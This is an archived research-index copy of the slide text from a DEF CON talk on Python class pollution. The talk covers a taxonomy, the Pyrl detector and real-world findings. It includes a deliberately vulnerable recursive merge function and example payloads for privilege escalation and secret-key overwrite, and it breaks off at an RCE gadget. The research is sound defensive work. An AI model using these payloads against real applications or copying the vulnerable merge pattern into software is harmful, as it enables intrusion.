---
type: Whitepaper
title: Get Set, Exploit! Unveiling Python Class Pollution In-the-Wild
description: "Python's recursive attribute and item setters let a user-supplied key path walk from an object to its class, module globals, function defaults and closure cells, so one nested update rewrites the runtime. The talk gives the first taxonomy - get primitive crossed with set primitive, six types, five new - and its Pyrl taint analyser finds 47 zero-days and 7 CVEs across 671,475 repos and packages. Polluting os.environ['BROWSER'] makes the webbrowser module a universal RCE gadget."
resource: "https://media.defcon.org/DEF%20CON%2034/DEF%20CON%2034%20presentations/DEF%20CON%2034%20-%20Gavin%20Zhong%2C%20Zhengyu%20Liu%2C%20Jianjia%20Yu%20-%20Get%20Set%2C%20Exploit%20Unveiling%20Python%20Class%20Pollution%20In-the-Wild%20-%20P.pdf"
tags: [whitepaper, webseclist-reference, class-pollution, python, gadget-chain, rce, static-analysis, large-scale-scan, auth-bypass, xss, race-condition, django, owasp-a01-2021, owasp-a03-2021, owasp-a04-2021, owasp-a08-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-11T17:42:52+00:00"
status: stable
stale_after: 2027-08-11
sources:
  - id: original
    resource: "https://media.defcon.org/DEF%20CON%2034/DEF%20CON%2034%20presentations/DEF%20CON%2034%20-%20Gavin%20Zhong%2C%20Zhengyu%20Liu%2C%20Jianjia%20Yu%20-%20Get%20Set%2C%20Exploit%20Unveiling%20Python%20Class%20Pollution%20In-the-Wild%20-%20P.pdf"
    title: Get Set, Exploit! Unveiling Python Class Pollution In-the-Wild
    author: Zhengyu Liu, Jiacheng Zhong, Jianjia Yu, Muxi Lyu, Zifeng Kang, Yinzhi Cao
also_at: []
authors:
  - Zhengyu Liu
  - Jiacheng Zhong
  - Jianjia Yu
  - Muxi Lyu
  - Zifeng Kang
  - Yinzhi Cao
canonical_url: ""
cited_by:
  - "2026-ai.md:76"
commit: ""
content_sha256: eeeb76685a9410828d1a9a66f585b0da1c6c9923b7a254e10ee4184ebf7481d5
depth: full
depth_reason: default
kind: whitepaper
language: ""
licence: unknown
original_url: "https://media.defcon.org/DEF%20CON%2034/DEF%20CON%2034%20presentations/DEF%20CON%2034%20-%20Gavin%20Zhong%2C%20Zhengyu%20Liu%2C%20Jianjia%20Yu%20-%20Get%20Set%2C%20Exploit%20Unveiling%20Python%20Class%20Pollution%20In-the-Wild%20-%20P.pdf"
published: ""
publisher: ""
publisher_english: ""
raw_sha256: 85821eb511eb327e6d3f1f6b12f0eb2e0f7b31b2fd0f26fa0522a0b0dd1eaa66
retrieved_from: "https://media.defcon.org/DEF%20CON%2034/DEF%20CON%2034%20presentations/DEF%20CON%2034%20presentations/DEF%20CON%2034%20-%20Gavin%20Zhong%2C%20Zhengyu%20Liu%2C%20Jianjia%20Yu%20-%20Get%20Set%2C%20Exploit%20Unveiling%20Python%20Class%20Pollution%20In-the-Wild%20-%20P.pdf"
retrieved_kind: stored
retrieved_utc: "2026-08-11T17:42:52+00:00"
slug: get-set-exploit-unveiling-python-class-pollution-wild
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---

# Get Set, Exploit! Unveiling Python Class Pollution In-the-Wild

**Get Set, Exploit! Unveiling Python Class Pollution In-the-Wild** - Zhengyu Liu, Jiacheng Zhong, Jianjia Yu, Muxi Lyu, Zifeng Kang, Yinzhi Cao, Publisher not stated.

- Published: date not stated
- Original: <https://media.defcon.org/DEF%20CON%2034/DEF%20CON%2034%20presentations/DEF%20CON%2034%20-%20Gavin%20Zhong%2C%20Zhengyu%20Liu%2C%20Jianjia%20Yu%20-%20Get%20Set%2C%20Exploit%20Unveiling%20Python%20Class%20Pollution%20In-the-Wild%20-%20P.pdf>
- Preserved from: https://media.defcon.org/DEF%20CON%2034/DEF%20CON%2034%20presentations/DEF%20CON%2034%20presentations/DEF%20CON%2034%20-%20Gavin%20Zhong%2C%20Zhengyu%20Liu%2C%20Jianjia%20Yu%20-%20Get%20Set%2C%20Exploit%20Unveiling%20Python%20Class%20Pollution%20In-the-Wild%20-%20P.pdf (stored) on 2026-08-11
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

Get Set, Exploit!
Unveiling Python Class Pollution In-the-Wild

             Zhengyu Liu & Jiacheng Zhong
             Joint work with Jianjia Yu, Muxi Lyu, Zifeng Kang,
             and Yinzhi Cao
             SecLab @ Johns Hopkins University
$ whoami




      Zhengyu Liu @jackfromeast                         Gavin Zhong @zhong

●   PhD Student @ Johns Hopkins University     ●   Inco. PhD Student @ UC Santa Barbara
●   Web Security & Software Security           ●   Web Security & AI Security Researcher
●   50+ CVEs with acknowledgement from         ●   Former Privacy Engineer @ TikTok
    Google, Microsoft, Meta, Vercel, Hugging   ●   Black Hat, BsidesSF Speaker
    Face, Ant Group, etc.

                                                                                           2
$ outline

  0x01 | Intro to Python Class Pollution
  0x02 | The First Class Pollution Taxonomy
  0x03 | Pyrl: Detecting Class Pollution In-the-Wild
  0x04 | Real-World Zero-Day Case Studies
  0x05 | Mitigation and Defense



                                                       3
0x01 | Intro to Python Class Pollution




                                         4
   Python 101: “Everything is an Object”




                   Objects are Python’s abstraction for data.
    All data in a Python program is represented by objects or by relations
            between objects. Even code is represented by objects.




0x01 Intro to Python Class Pollution                                         5
   Python 101: “Everything is an Object”
                                                           Module __main__

                                                __class__: <class "module">
                                                user: <mod.User object>
    # main.py                                   User: <class User>
    class User:
       is_admin = False
                                                   Class User

                                       __class__: <class "type">
       def __init__(self, name):                                                                   Bool
                                       __module__: "__class__"
           self.name = name            __init__: <Function User.__init__>
                                                                                 __class__: <class "bool">

           self.settings = {           __dict__: <mappingproxy>
               "theme": "light",       is_admin: <bool>
                                                                                    Function User.__init__
               "email": True                                                  __class__: <class "function">
           }
                                                   Instance user

                                        __class__: <class "__main__.User">                         Dict
    user = User("Alice")                __module__: "__main__"                    __class__: <class "dict">
                                        name: "Alice"                             theme: "light"
                                        settings: <dict>                          email: True




0x01 Intro to Python Class Pollution                                                                          6
   Python 101: “Objects Form a Graph”
                                                           Module __main__

                                                __class__: <class "module">
                                                user: <mod.User object>
                                                                                       Dunder Attributes
    # main.py                                   User: <class User>                     (Double Underscore)
    class User:
       is_admin = False
                                                   Class User

                                       __class__: <class "type">
       def __init__(self, name):                                                                   Bool
                                       __module__: "__class__"
           self.name = name            __init__: <Function User.__init__>
                                                                                 __class__: <class "bool">

           self.settings = {           __dict__: <mappingproxy>
               "theme": "light",       is_admin: <bool>
                                                                                    Function User.__init__
               "email": True
                                                                              __class__: <class "function">
           }
                                                   Instance user

                                        __class__: <class "__main__.User">                         Dict
    user = User("Alice")                __module__: "__main__"                    __class__: <class "dict">
                                        name: "Alice"                             theme: "light"
                                        settings: <dict>                          email: True




0x01 Intro to Python Class Pollution                                                                          7
   Python 101: “Objects Form a Graph”
                                                           Module __main__

                                                __class__: <class "module">
                                                user: <mod.User object>
                                                                                       Dunder Attributes
    # main.py                                   User: <class User>                     (Double Underscore)
    class User:
       is_admin = False
                                                   Class User

                                       __class__: <class "type">
       def __init__(self, name):                                                                   Bool
                                       __module__: "__class__"
           self.name = name            __init__: <Function User.__init__>
                                                                                 __class__: <class "bool">

           self.settings = {           __dict__: <mappingproxy>
               "theme": "light",       is_admin: <bool>
                                                                                    Function User.__init__
               "email": True
                                                                              __class__: <class "function">
           }
                                                   Instance user

                                        __class__: <class "__main__.User">                         Dict
    user = User("Alice")                __module__: "__main__"                    __class__: <class "dict">
                                        name: "Alice"                             theme: "light"
                                        settings: <dict>                          email: True




0x01 Intro to Python Class Pollution                                                                          8
   Python 101: Direct Assignment
                                                           Module __main__

                                                __class__: <class "module">
   # main.py                                    user: <__main__.User object>

   def update_theme(user, input):               User: <class User>


      user.settings["theme"] = input
                                                   Class User

                                       __class__: <class "type">
   def update_name(user, input):       __module__: "__class__"
                                                                                                    Bool

                                                                                  __class__: <class "bool">
                                       __init__: <Function User.__init__>
      user.name = input
                                       __dict__: <mappingproxy>
                                       is_admin: <bool>
                                                                                     Function User.__init__

                                                                               __class__: <class "function">

                                                   Instance user


  Fixed                                 __class__: <class "__main__.User">
                                        __module__: "__main__"
                                                                                                    Dict

                                                                                   __class__: <class "dict">
                                        name: "Alice"                              theme: "light"

  Path!                                 settings: <dict>                           email: True




0x01 Intro to Python Class Pollution                                                                           9
   Python 101: Dynamic Relection
                                                           Module __main__

                                                __class__: <class "module">
   # main.py                                    user: <__main__.User object>

   def update_theme(user, input):               User: <class User>


     user.settings["theme"] = input
                                                   Class User
     getattr(user, "settings")
                                       __class__: <class "type">
                                                                                                    Bool
                                       __module__: "__class__"
                                                                                  __class__: <class "bool">
                                       __init__: <Function User.__init__>
   def update_name(user, input):
                                       __dict__: <mappingproxy>
     user.name = input                 is_admin: <bool>
                                                                                     Function User.__init__
     setattr(user, "name", input)                                              __class__: <class "function">

                                                   Instance user


  Dynamic                               __class__: <class "__main__.User">
                                        __module__: "__main__"
                                                                                                    Dict

                                                                                   __class__: <class "dict">
                                        name: "Alice"                              theme: "light"

  Path!                                 settings: <dict>                           email: True




0x01 Intro to Python Class Pollution                                                                           10
   Python 101: Dynamic Relection
                                                              Module __main__

   {name: “Bob”}                                   __class__: <class "module">
                                                   user: <__main__.User object>
   {settings: {theme: “dark”}}                     User: <class User>




   # main.py                                          Class User

   def update(user, input):               __class__: <class "type">
                                                                                                     Bool
    for key, val in input.items():        __module__: "__class__"
                                                                                     __class__: <class "bool">
                                          __init__: <Function User.__init__>
      if isinstance(val, dict):
                                          __dict__: <mappingproxy>
        update(user[key]                  is_admin: <bool>
          if isinstance(user, dict)                                                     Function User.__init__

          else getattr(user, key), val)                                           __class__: <class "function">


      elif isinstance(user, dict):                    Instance user

                                           __class__: <class "__main__.User">                        Dict
        user[key] = val
                                           __module__: "__main__"                     __class__: <class "dict">
      else:                                name: "Alice" “Bob”                        theme: "light" “dark”
        setattr(user, key, val)            settings: <dict>                           email: True




0x01 Intro to Python Class Pollution                                                                              11
   Warm-Up Quiz: How Far Can User Input Reach?
                                                           Module __main__

                                                __class__: <class "module">
                                                user: <__main__.User object>
                                                User: <class User>




                                                   Class User

                                       __class__: <class "type">
                                                                                                   Bool
                                       __module__: "__class__"
                                                                                 __class__: <class "bool">
                                       __init__: <Function User.__init__>
                                       __dict__: <mappingproxy>
                                                                                     Function User.__init__
                                       is_admin: <bool>
                                                                               __class__: <class "function">


                                                   Instance user

                                        __class__: <class "__main__.User">                         Dict
                                        __module__: "__main__"                    __class__: <class "dict">
                                        name: "Alice"                             theme: "light"
                                        settings: <dict>                          email: True




0x01 Intro to Python Class Pollution                                                                           12
   How Far Can User Input Reach? The Class
                                                           Module __main__

                                                __class__: <class "module">
 Privilege Escalation!                          user: <__main__.User object>
                                                User: <class User>
                                                                                                          Flase -> True
 {__class__:{is_admin:
 True}}                                            Class User

                                       __class__: <class "type">
                                                                                                   Bool
                                       __module__: "__class__"
                                                                                 __class__: <class "bool">
                                       __init__: <Function User.__init__>
                                       __dict__: <mappingproxy>
                                                                                     Function User.__init__
                                       is_admin: <bool>
                                                                               __class__: <class "function">


                                                   Instance user

                                        __class__: <class "__main__.User">                         Dict
                                        __module__: "__main__"                    __class__: <class "dict">
                                        name: "Alice"                             theme: "light"
                                        settings: <dict>                          email: True




0x01 Intro to Python Class Pollution                                                                                      13
   More Hidden Paths in Python’s Object World
                                                           Module __main__                                Dict

  # main.py                                     __class__: <class "module">             __class__: <class "module">
                                                __dict__: <mappingproxy>                user: <__main__.User object>
                                                user: <__main__.User object>            User: <class User>
  secret_key = "SECRET_KEY"
                                                User: <class User>                      secret_key: <string>
                                                secret_key: <string>
  class User:
                                                   Class User
     def __init__(self, name):
                                       __class__: <class "type">
         self.name = name                                                                          Bool
                                       __module__: "__class__"
         self.settings = {             __init__: <Function User.__init__>
                                                                                 __class__: <class "bool">

              "theme": "light",        __dict__: <mappingproxy>
                                                                                     Function User.__init__
              "email": True            is_admin: <bool>
                                                                               __class__: <class "function">
         }                                                                     __globals__: <dict>
                                                   Instance user

                                        __class__: <class "__main__.User">                         Dict
                                        __module__: "__main__"                    __class__: <class "dict">
                                        name: "Alice"                             theme: "light"
                                        settings: <dict>                          email: True




0x01 Intro to Python Class Pollution                                                                                   14
   How Far Can User Input Reach? The Module
                                                           Module __main__                                Dict

                                                __class__: <class "module">
 Authentication Bypass!                         __dict__: <mappingproxy>
                                                                                        __class__: <class "module">
                                                                                        user: <__main__.User object>
                                                user: <__main__.User object>            User: <class User>
                                                User: <class User>                      secret_key: <string>
 {__class__:                                    secret_key: <string>

    {__init__:                                     Class User                               secret key -> my key
      {__globals__:                    __class__: <class "type">
                                                                                                   Bool
                                       __module__: "__class__"
         secret_key: “my key”          __init__: <Function User.__init__>
                                                                                 __class__: <class "bool">


 }}}                                   __dict__: <mappingproxy>
                                                                                     Function User.__init__
                                       is_admin: <bool>
                                                                               __class__: <class "function">
                                                                               __globals__: <dict>
                                                   Instance user

                                        __class__: <class "__main__.User">                         Dict
                                        __module__: "__main__"                    __class__: <class "dict">
                                        name: "Alice"                             theme: "light"
                                        settings: <dict>                          email: True




0x01 Intro to Python Class Pollution                                                                                   15
   How Far Can User Input Reach? It Doesn’t Stop There

                                  privilege Escalation!
                                  Authentication Bypass!
                                  Stored XSS!
                                  DoS!
   Runtime Integrity Tampering =>
                                  SSRF!
                                  Sandbox Bypass!
                                  Remote Command Execution!
                                  …


0x01 Intro to Python Class Pollution                          16
   How Far Can User Input Reach? It Doesn’t Stop There

                                  privilege Escalation!
                                  Authentication Bypass!
                                  Stored XSS!
                                  DoS!
   Runtime Integrity Tampering =>
                                  SSRF!
                                  Sandbox Bypass!
                                  Remote Command Execution!
    Wellcome to Python Class Pollution!
                                  …


0x01 Intro to Python Class Pollution                          17
   How Far Can User Input Reach? It Doesn’t Stop There

                                  privilege Escalation!
                                  Authentication Bypass!
                                  Stored XSS!
                                  DoS!
   Runtime Integrity Tampering =>
                                  SSRF!
                                  Sandbox Bypass!
                                  Remote Command Execution!
    Wellcome to Python Class Pollution!
                                  …


0x01 Intro to Python Class Pollution                          18
0x02 | The First Class Pollution Taxonomy




                                            19
   A Brief History of Python Class Pollution

                                          https://blog.abdulrah33m.com/prototype-pollution-in-python/
        01/2023
        Class Pollution has
        been intoduced




                                          Python Class Pollution was introduced by
                                          Abdulraheem Khaled (Abdulrah33m)


0x02 The First Class Pollution Taxonomy                                                                 20
   A Brief History of Python Class Pollution

                                          https://blog.abdulrah33m.com/prototype-pollution-in-python/
        01/2023
        Class Pollution has
        been intoduced




         No End-to-End                    Python Class Pollution was introduced by
         Demonstration Yet.               Abdulraheem Khaled (Abdulrah33m)


0x02 The First Class Pollution Taxonomy                                                                 21
   A Brief History of Python Class Pollution


        01/2023
        Class Pollution has
        been intoduced
                                                                       Synthetic
                                                                       Examples and
                                                                       Theoretical
                02/2023
                                                                       Attacks Only!
                Paper on Python Class
                Pollution vs. JS
                Prototype Pollution


                                          ACCTCS ‘23, by Ziyi Ouyang

0x02 The First Class Pollution Taxonomy                                                22
   A Brief History of Python Class Pollution

                                                                    https://huntr.com/bounties/486add92-2
                                                                    75e-4a7b-92f9-42d84bc759da
        01/2023                           04/2024
        Class Pollution has               The ﬁrst real-world CVE
        been intoduced                    (CVE-2024-5452) &
                                          end-to-end exploit of
                                          Class Pollution!

                02/2023
                Paper on Python Class
                Pollution vs. JS
                Prototype Pollution
                                                                    CVE reported by @chilaxan that
                                                                    lead to RCE via Class Pollution


0x02 The First Class Pollution Taxonomy                                                                 23
   A Brief History of Python Class Pollution
                                                Our Work!
        01/2023                           04/2024
        Class Pollution has               The ﬁrst real-world CVE
        been intoduced                    (CVE-2024-5452) &
                                          end-to-end exploit of
                                          Class Pollution!

                02/2023                                   05/2026 & 08/2026
                Paper on Python Class                     The ﬁrst systematic study of CP:
                Pollution vs. JS                           - The ﬁrst taxonomy
                Prototype Pollution                        - The ﬁrst detection tool (Pyrl)
                                                           - The ﬁrst large-scale measurement
    S&P ‘26, by Liu et al.                                     (seven CVEs and 47 zero-day vulns)


0x02 The First Class Pollution Taxonomy                                                             24
   A Brief History of Python Class Pollution
                                                                        https://class-pollution.github.io/
                                                Our Work!
        01/2023                           04/2024
        Class Pollution has               The ﬁrst real-world CVE
        been intoduced                    (CVE-2024-5452) &
                                          end-to-end exploit of
                                          Our Wiki
                                          Class Pollution!
                                          page!
                02/2023                                   05/2026 & 08/2026
                Paper on Python Class                     The ﬁrst systematic study of CP:
                Pollution vs. JS                           - The ﬁrst taxonomy
                Prototype Pollution                        - The ﬁrst detection tool (Pyrl)
                                                           - The ﬁrst large-scale measurement
    S&P ‘26, by Liu et al.                                     (seven CVEs and 47 zero-day vulns)


0x02 The First Class Pollution Taxonomy                                                                      25
   Python Class Pollution Taxonomy

     ● How do we get in? Pollution Primitives
           ○   The atomic “Get”/“Set” operations and “Get”/“Set” primitives
           ○   Six class pollution types (ﬁve of them are new!)
     ●    How do we cash out? Exploitation Primitives
           ○   Pollution Targets
           ○   Class Pollution Gadgets
           ○   Consequnces




0x02 The First Class Pollution Taxonomy                                       26
   Python Class Pollution Taxonomy

     ● How do we get in? Pollution Primitives
           ○   The atomic “Get”/“Set” operations and “Get”/“Set” primitives
           ○   Six class pollution types (ﬁve of them are new!)
     ●    How do we cash out? Exploitation Primitives
           ○   Pollution Targets
           ○   Class Pollution Gadgets
           ○   Consequnces




0x02 The First Class Pollution Taxonomy                                       27
   Pollution Primitives

    # main.py                                          object            key/name
    def update(user, input):
     for key, value in input.items():
       if isinstance(value, dict):             xN
                                                     Get Primitive
         if isinstance(user, dict):
           update(user[key], value)
         else:                                                  result
           update(getattr(user, key), value)
                                                                  key/
       elif isinstance(user, dict):                                       val
                                                                  name
         user[key] = value
       else:                                        object
         setattr(user, key, value)
                                                             Set Primitive




0x02 The First Class Pollution Taxonomy                                             28
   Pollution Primitives
                           If not last layer!
    # main.py                                           object            key/name
    def update(user, input):
     for key, value in input.items():
       if isinstance(value, dict):              xN
                                                      Get Primitive
         if isinstance(user, dict):
           update(user[key], value)
         else:                                                   result
           update(getattr(user, key), value)
                                                                   key/
       elif isinstance(user, dict):                                        val
                                                                   name
         user[key] = value
       else:                                         object
         setattr(user, key, value)
                                                              Set Primitive




0x02 The First Class Pollution Taxonomy                                              29
   Pollution Primitives
                           If not last layer!
    # main.py                                           object            key/name
    def update(user, input):
     for key, value in input.items():
       if isinstance(value, dict):              xN
                                                      Get Primitive
         if isinstance(user, dict):
           update(user[key], value)
         else:                                                   result
           update(getattr(user, key), value)
                                                                   key/
       elif isinstance(user, dict):                                        val
                                                                   name
         user[key] = value
       else:                                         object
         setattr(user, key, value)
                                                              Set Primitive




0x02 The First Class Pollution Taxonomy                                              30
   Pollution Primitives
                           If not last layer!
    # main.py                                                        object                 key/name
    def update(user, input):
                                                Object Type/        General Object           Mapping Object
     for key, value in input.items():           Access Type         e.g., a = obj(x=1)       e.g., a = {“x”: 1}
       if isinstance(value, dict):                   xN
                                                                   Get Primitive
         if isinstance(user, dict):             Attribute (a.x)            ✔ (1)            ✗ (AttributeError)
           update(user[key], value)
         else:                                                                     result
           update(getattr(user, key), value)    Item (a[“x”])        ✗ (TypeError)                  ✔ (1)
                                                                                     key/
       elif isinstance(user, dict):                                                           val
                                                                                     name
         user[key] = value
       else:                                                      object
         setattr(user, key, value)
                                                        Two isolated
                                                                  Set Primitive
                                                        namespaces!

0x02 The First Class Pollution Taxonomy                                                                           31
   Pollution Primitives
                           If not last layer!
    # main.py                                            object            key/name
            Attr-Get           Item-Get
    def update(user, input):
     for key, value in input.items():
       if isinstance(value, dict):               xN
                                                       Get Primitive
              Constrained-Get Primitive
         if isinstance(user,  dict):
           update(user[key], value)
         else:                                                    result
                         OR
           update(getattr(user,   key), value)
                                                                    key/
       elif isinstance(user, dict):                                         val
                                                                    name
         user[key] = value
            Attr-Get           Item-Get
       else:                                          object
         setattr(user, key, value)
                                                               Set Primitive
                Agnostic-Get Primitive



0x02 The First Class Pollution Taxonomy                                               32
   Pollution Primitives                      Atomic Get Operation
                           If not last layer!
    # main.py                                               object            key/name
            Attr-Get           Item-Get
    def update(user, input):
     for key, value in input.items():
       if isinstance(value, dict):                 xN
                                                          Get Primitive
              Constrained-Get Primitive
         if isinstance(user,  dict):
           update(user[key], value)
         else:                                                       result
                         OR
           update(getattr(user,   key), value)
                                                                       key/
       elif isinstance(user, dict):                                            val
                                                                       name
         user[key] = value
            Attr-Get           Item-Get
       else:                                             object
         setattr(user, key, value)
                                                                  Set Primitive
                Agnostic-Get Primitive



0x02 The First Class Pollution Taxonomy                                                  33
   Pollution Primitives                    More Atomic Get Operations!
                           If not last layer!
    # main.py                                             object            key/name
    def update(user, input):
     for key, value in input.items():
       if isinstance(value, dict):               xN
                                                        Get Primitive
         if isinstance(user, dict):
           update(user[key], value)
         else:                                                     result
           update(getattr(user, key), value)
                                                                     key/
       elif isinstance(user, dict):                                          val
                                                                     name
         user[key] = value
       else:                                           object
         setattr(user, key, value)
                                                                Set Primitive
  See our paper!
0x02 The First Class Pollution Taxonomy                                                34
   Pollution Primitives
                           If not last layer!
    # main.py                                           object            key/name
    def update(user, input):
     for key, value in input.items():
       if isinstance(value, dict):              xN
                                                      Get Primitive
         if isinstance(user, dict):
           update(user[key], value)
         else:                                                   result
           update(getattr(user, key), value)
                                                                   key/
       elif isinstance(user, dict):                                        val
                                                                   name
         user[key] = value
       else:                                         object
         setattr(user, key, value)
                                                              Set Primitive




0x02 The First Class Pollution Taxonomy                                              35
   Pollution Primitives
                           If not last layer!
    # main.py                                           object            key/name
    def update(user, input):
     for key, value in input.items():
       if isinstance(value, dict):              xN
                                                      Get Primitive
         if isinstance(user, dict):
           update(user[key], value)
         else:                                                   result
           update(getattr(user, key), value)
                                                                   key/
       elif isinstance(user, dict):                                        val
                                                                   name
         user[key] = value
       else:                                         object
         setattr(user, key, value)
                                                              Set Primitive




0x02 The First Class Pollution Taxonomy                                              36
   Pollution Primitives
                           If it is last layer!
    # main.py                                             object            key/name
    def update(user, input):
     for key, value in input.items():
       if isinstance(value, dict):                xN
                                                        Get Primitive
         if isinstance(user, dict):
           update(user[key], value)
         else:                                                     result
           update(getattr(user, key), value)
                                                                     key/
       elif isinstance(user, dict):                                          val
                                                                     name
         user[key] = value
       else:                                           object
         setattr(user, key, value)
                                                                Set Primitive




0x02 The First Class Pollution Taxonomy                                                37
   Pollution Primitives
                           If it is last layer!
    # main.py                                             object            key/name
    def update(user, input):
     for key, value in input.items():
       if isinstance(value, dict):                xN
                                                        Get Primitive
         if isinstance(user, dict):
           update(user[key], value)
         else:                                                     result
           update(getattr(user, key), value)
                                                                     key/
       elif isinstance(user, dict):                                          val
                                                                     name
         user[key] = value
       else:                                           object
         setattr(user, key, value)
                                                                Set Primitive




0x02 The First Class Pollution Taxonomy                                                38
   Pollution Primitives
                           If it is last layer!
        OR
    # main.py       Attr-Set                             object            key/name
    def update(user, input):
     for key, valueItem-Set
                     in input.items():
       if isinstance(value, dict):                xN
                                                       Get Primitive
         if Dual-Set   Primitive
             isinstance(user, dict):
           update(user[key], value)
         else:    Attr-Set                                        result
           update(getattr(user, key), value)
                                                                    key/
       elif Attr-Set   Primitive
            isinstance(user,  dict):                                        val
                                                       object       name
         user[key] = value
       else:
                  Item-Set
         setattr(user, key, value)
             Item-Set Primitive                                 Set Primitive




0x02 The First Class Pollution Taxonomy                                               39
   Pollution Primitives
                           If it is last layer!
    # main.py                                            object            key/name
    def update(user, input):
     for key, value in input.items():
       if isinstance(value, dict):                xN
                                                       Get Primitive
         if isinstance(user, dict):
           update(user[key], value)
         else:                                                    result
           update(getattr(user, key), value)
                                                                    key/
       elif isinstance(user, dict):                                         val
                                                       object       name
         user[key] = value
       else:
         setattr(user, key, value)
                                                                Set Primitive

                 More Atomic Set Operations!
0x02 The First Class Pollution Taxonomy                                               40
   Class Pollution Taxonomy

         Agnostic-Get × Dual-Set          Most capable type!
         Agnostic-Get × Item-Set

         Agnostic-Get × Attr-Set
                                               Each type has distinct
                                               pollution capability!
       Constrained-Get × Dual-Set

       Constrained-Get × Item-Set

       Constrained-Get × Attr-Set         Least capable type!

0x02 The First Class Pollution Taxonomy                                 41
   Class Pollution Taxonomy                                    Module __main__

                                                  __class__: <class "module">
                                                  __dict__: <mappingproxy>
                                                  user: <__main__.User object>
         Agnostic-Get × Dual-Set                  User: <class User>
                                                                                                         Dict

                                                                                       __class__: <class "module">
                                                  secret_key: <string>
                                                                                       user: <__main__.User object>
                                                                                       User: <class User>

         Agnostic-Get × Item-Set                                                       secret_key: <string>


                                                          Class User

                                            __class__: <class "type">
                                                                                                  Bool
         Agnostic-Get × Attr-Set            __module__: "__class__"
                                            __init__: <Function User.__init__>
                                                                                  __class__: <class "bool">

                                            __dict__: <mappingproxy>
                                            is_admin: <bool>                           Function User.__init__

       Constrained-Get × Dual-Set                                                __class__: <class "function">
                                                                                 __globals__: <dict>

                                                     Instance user

                                          __class__: <class "__main__.User">
       Constrained-Get × Item-Set         __module__: "__main__"
                                                                                                  Dict

                                          name: "Alice"                          __class__: <class "dict">

                                          settings: <dict>                       theme: "light"
                                                                                 email: True
       Constrained-Get × Attr-Set


0x02 The First Class Pollution Taxonomy                                                                               42
   Class Pollution Taxonomy                                    Module __main__

                                                  __class__: <class "module">
                                                  __dict__: <mappingproxy>
                                                  user: <__main__.User object>
                                                                                     ✗
         Agnostic-Get × Dual-Set                  User: <class User>
                                                                                                                 Dict

                                                                                               __class__: <class "module">
                                                  secret_key: <string>
                                                                                               user: <__main__.User object>
                                                                                               User: <class User>

         Agnostic-Get × Item-Set                                                               secret_key: <string>


                                                          Class User

                                            __class__: <class "type">
                                                                                                          Bool
         Agnostic-Get × Attr-Set            __module__: "__class__"
                                            __init__: <Function User.__init__>
                                                                                          __class__: <class "bool">

                                            __dict__: <mappingproxy>
                                            is_admin: <bool>                                   Function User.__init__

       Constrained-Get × Dual-Set                                                        __class__: <class "function">



                                                     Instance user
                                                                                         __globals__: <dict>
                                                                                                                              ✗
                                          __class__: <class "__main__.User">
       Constrained-Get × Item-Set         __module__: "__main__"
                                                                                                          Dict

                                          name: "Alice"                                  __class__: <class "dict">

                                          settings: <dict>
                                                                                 ✗       theme: "light"
                                                                                         email: True
       Constrained-Get × Attr-Set


0x02 The First Class Pollution Taxonomy                                                                                           43
   Class Pollution Taxonomy
                                          The only one known before!
         Agnostic-Get × Dual-Set

         Agnostic-Get × Item-Set

         Agnostic-Get × Attr-Set

       Constrained-Get × Dual-Set         Newly identiﬁed in this
                                          work!
       Constrained-Get × Item-Set

       Constrained-Get × Attr-Set


0x02 The First Class Pollution Taxonomy                                44
   Python Class Pollution Taxonomy

     ● How do we get in? Pollution Primitives
           ○   The atomic “Get”/“Set” operations and “Get”/“Set” primitives
           ○   Six class pollution types (ﬁve of them are new!)
     ●    How do we cash out? Exploitation Primitives
           ○   Pollution Targets
           ○   Class Pollution Gadgets
           ○   Consequnces




0x02 The First Class Pollution Taxonomy                                       45
   Pollution Targets

    What are valuable targets, and how can it change program behavior?
      - Direct use: pollutes a.b and the program uses a.b latter




0x02 The First Class Pollution Taxonomy                                  46
   Pollution Targets

    What are valuable targets, and how can it change program behavior?
      - Indirect use: Python implicitly uses the polluted objects
             classes

                                          class C:
                                             def __init__(self):
                                                 self.v
                   Polluting C.v                            Attribute Lookups
                                             @classmethod
                                             def other(self):
                                                 cls.v



0x02 The First Class Pollution Taxonomy                                         47
   Pollution Targets

    What are valuable targets, and how can it change program behavior?
      - Indirect use: Python implicitly uses the polluted objects
             classes          Modules

                                             # mod_a.py
                                             def f():
                                                global v
               Polluting mod_a.v                v

                                             # mod_b.py
                                             from mod_a import v;
                                             v




0x02 The First Class Pollution Taxonomy                                  48
   Pollution Targets

    What are valuable targets, and how can it change program behavior?
      - Indirect use: Python implicitly uses the polluted objects
             classes          Modules         Functions

                                          # mod_a.py             def f(*, v="helloworld"):
                                          def f():                  v
                                             pass
   Polluting
   f.__globals__[‘v’]                     # mod_b.py
                                          from mod_a import v;          Polluting
                                          v
                                                                        f.__kwdefaults__[‘v’]

0x02 The First Class Pollution Taxonomy                                                      49
   Pollution Targets

    What are valuable targets, and how can it change program behavior?
      - Indirect use: Python implicitly uses the polluted objects
             classes          Modules     Functions     Function Closures

                                                def f(v):
                                                   def g():
                                                     v
          Polluting                                  return g

          g.__closure__[i].cell_contents



0x02 The First Class Pollution Taxonomy                                     50
   Pollution Targets

    What are valuable targets, and how can it change program behavior?
      - Indirect use: Python implicitly uses the polluted objects
             classes          Modules     Functions       Function Closures

                                                def f(v):
                                                   def g():
                                                     v
          Polluting                                  return g

          g.__closure__[i].cell_contents                  We need Gadgets!
                                                sink(v)




0x02 The First Class Pollution Taxonomy                                       51
   Class Pollution Gadgets

    Deﬁnition: A class-pollution gadget is a piece of existing code that reads a
    polluted value to a security-sensitive sink.




0x02 The First Class Pollution Taxonomy                                            52
   Class Pollution Gadgets

    Deﬁnition: A class-pollution gadget is a piece of existing code that reads a
    polluted value to a security-sensitive sink.


                                                      Where does it come from?

                    ●    Standard libraries => Universal Gadgets
                    ●    Third-party dependencies
                    ●    Application code



0x02 The First Class Pollution Taxonomy                                            53
   Universal RCE Gadgets #1: webbrowser, antigravity
    cpython/blob/3.14/Lib/webbrowser.py
    _browsers = {}
                                                    class GenericBrowser:
    _tryorder = []
                                                      def __init__(self, cmd):
                                                        self.name, *self.args = shlex.split(cmd)
    def open(url):
      register_standard_browsers()
                                                      def open(self, url):
      for name in _tryorder:
                                                        argv = [self.name] + [
